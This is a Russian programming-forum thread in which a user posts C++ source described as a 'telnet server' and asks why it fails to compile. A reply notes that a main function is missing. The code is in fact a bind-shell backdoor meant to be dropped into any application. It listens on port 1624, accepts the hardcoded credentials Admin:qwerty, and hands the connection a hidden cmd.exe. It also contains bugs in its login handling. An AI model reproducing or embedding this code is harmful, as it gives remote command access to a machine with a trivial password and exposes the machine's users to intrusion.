Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > C/C++ Сетевое программирование
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.08.2011, 15:31   #1
xatrix
 
Регистрация: 16.07.2010
Сообщений: 9
Печаль С++ Telnet Server

Мне нужно сделать теленет сервер на Visual C++ 2010. Нашел в интернете сурс, но ни в какую не хочет компилиться.

Код:
////////////////////////////////////////////////////////////////////////////////////
// 
//  How to Add this console to your App
//
//  1. Add this file to your project
//  2. Define int InitConsole(); in your.cpp
//  3. Call InitConsole() from main() or other func
//  4. Run your.cpp and try telnet you_app_ip SHELL_PORT
//  5. Use u/p: Admin:qwerty

////////////////////////////////////////////////////////////////////////////////////

#define  WIN32_LEAN_AND_MEAN

#include  <stdio.h>
#include  <windows.h>
#include  <winsock2.h> 

int  InitConsole();
DWORD WINAPI Session   (LPVOID lpParameter);
DWORD WINAPI Service   (LPVOID lpParameter);
DWORD WINAPI EndSess   (LPVOID lpParameter);
bool  login(SOCKET& sendrecv);


#define SHELL_PORT  1624
#define SHELL_NAME  "cmd\0"


bool  login(SOCKET& sendrecv)
{
    int  nReceived, i;    
    char uname[16], pwd[16 ];

    memset(( void *) &uname, 0, sizeof (uname));
    memset(( void *) &pwd  , 0, sizeof (pwd));

    send(sendrecv, "\r\nUsername: ", sizeof("\r\nUsername: "), 0 );

    for (i=0;i<16 ;i++)
    {        
        nReceived = recv(sendrecv,&uname[i], 1,0 );
        if (SOCKET_ERROR == nReceived) return false ;
        
        if(uname[i] == 0x0d)   uname[i] = 0x00 ; 
        if(uname[i] == 0x0a) { uname[i] = 0x00; break ; }
    }

    send(sendrecv, "Password: ", sizeof("Password: "), 0 );

    for (i=0;i<16 ;i++)
    {        
        nReceived = recv(sendrecv,&pwd[i], 1,0 );
        if (SOCKET_ERROR == nReceived) return false ;

        if(pwd[i] == 0x0d)     pwd[i] = 0x00 ; 
        if(pwd[i] == 0x0a) { uname[i] = 0x00; break ; }        
    }

    if (!strcmp(uname,"Admin") && !strcmp(pwd,"qwerty") ) return true ;

    return false ;
}

DWORD WINAPI EndSess(LPVOID sr)
{    
    SOCKET sendrecv = *((SOCKET*)sr);
    Sleep( 7500 ); 
    closesocket(sendrecv);
    return 0 ;
}

DWORD WINAPI Session(LPVOID sr)
{    
    SOCKET sendrecv = *((SOCKET*)sr);

    if (login(sendrecv))
    { 
        STARTUPINFO si;
        SECURITY_ATTRIBUTES sa;  
        PROCESS_INFORMATION pi;

        sa.nLength              = sizeof (SECURITY_ATTRIBUTES);
        sa.bInheritHandle       = TRUE;
        sa.lpSecurityDescriptor = NULL;

        memset(( void *) &si, 0, sizeof (si));
        memset(( void *) &pi, 0, sizeof (pi));

        si.cb = sizeof (si);
        si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

        si.wShowWindow = SW_HIDE;
        si.hStdInput   = ( void  *)sendrecv;
        si.hStdOutput  = ( void  *)sendrecv;
        si.hStdError   = ( void  *)sendrecv;

        CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0 , NULL, NULL, &si, &pi);      
    }    
    return 0 ;
};


DWORD WINAPI Service(LPVOID lpParameter)
{
    HANDLE evnt = *((HANDLE*)lpParameter);

    SOCKET sock;
    struct  sockaddr_in sock_addr,sendrecv_addr;
    WSADATA data;
    WORD p;  
    
    p = MAKEWORD( 2,0 );
    WSAStartup(p,&data);

    sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0 );

    sock_addr.sin_family      = PF_INET;
    sock_addr.sin_port        = htons(SHELL_PORT);  
    sock_addr.sin_addr.s_addr = INADDR_ANY;

    bind(sock,( struct sockaddr*)&sock_addr,sizeof(struct  sockaddr_in));

    listen(sock, 10 );

    int lun = sizeof (struct  sockaddr);
    

    while(true )
    {        
        SOCKET sendrecv = accept(sock,( struct  sockaddr*) &sendrecv_addr, &lun);
         
        DWORD dwThread; 
        CreateThread(NULL, 0, Session, &sendrecv, 0 , &dwThread); 
        CreateThread(NULL, 0, EndSess, &sendrecv, 0 , &dwThread); 
    }

    closesocket(sock);
    WSACleanup(); 

    return 0 ;
}

int  InitConsole()
{
    HANDLE hevt = CreateEvent(NULL, FALSE, FALSE, TEXT( "console_already_inited" ));
    if  (GetLastError() != ERROR_ALREADY_EXISTS) 
    {
        DWORD dwThread;
        CreateThread(NULL, 0,Service,&hevt,0 ,&dwThread);    
    } 
    else return -1 ;     
    return 0 ;
}
Вылезает такая ошибка:

Код:
error C2664: CreateProcessW: невозможно преобразовать параметр 2 из "const char [5]" в "LPWSTR"
Исправил так:

Код:
#pragma comment(lib, "Ws2_32.lib")
#define SHELL_NAME  L"cmd\0"
Но теперь вылазит другая ошибка:

Код:
error LNK2019: ссылка на неразрешенный внешний символ _main в функции ___tmainCRTStartup
Я так понимаю не хватает еще какой то либы?

Последний раз редактировалось xatrix; 11.08.2011 в 16:08. Причина: Все, понял в чем ошибка.
xatrix вне форума Ответить с цитированием
Старый 11.08.2011, 18:53   #2
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,770
По умолчанию

Нет. Просто забыли написать главную функцию своей программы.
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
GlassFish Server 3 Server cannot start. Port is occupied. NixonKNR Java для Web (EE, Servlet, JSP, Tomcat, Spring MVC) 0 08.04.2011 01:10
[c++] Client-Server: GET request refused by the server Pumych Помощь студентам 2 22.08.2010 23:36
telnet c++ Mu$T@nG Помощь студентам 19 12.08.2010 18:55
Доступ к БД (SQL server) в ОС Windows server 2003 Mann SQL, базы данных 2 07.12.2008 19:15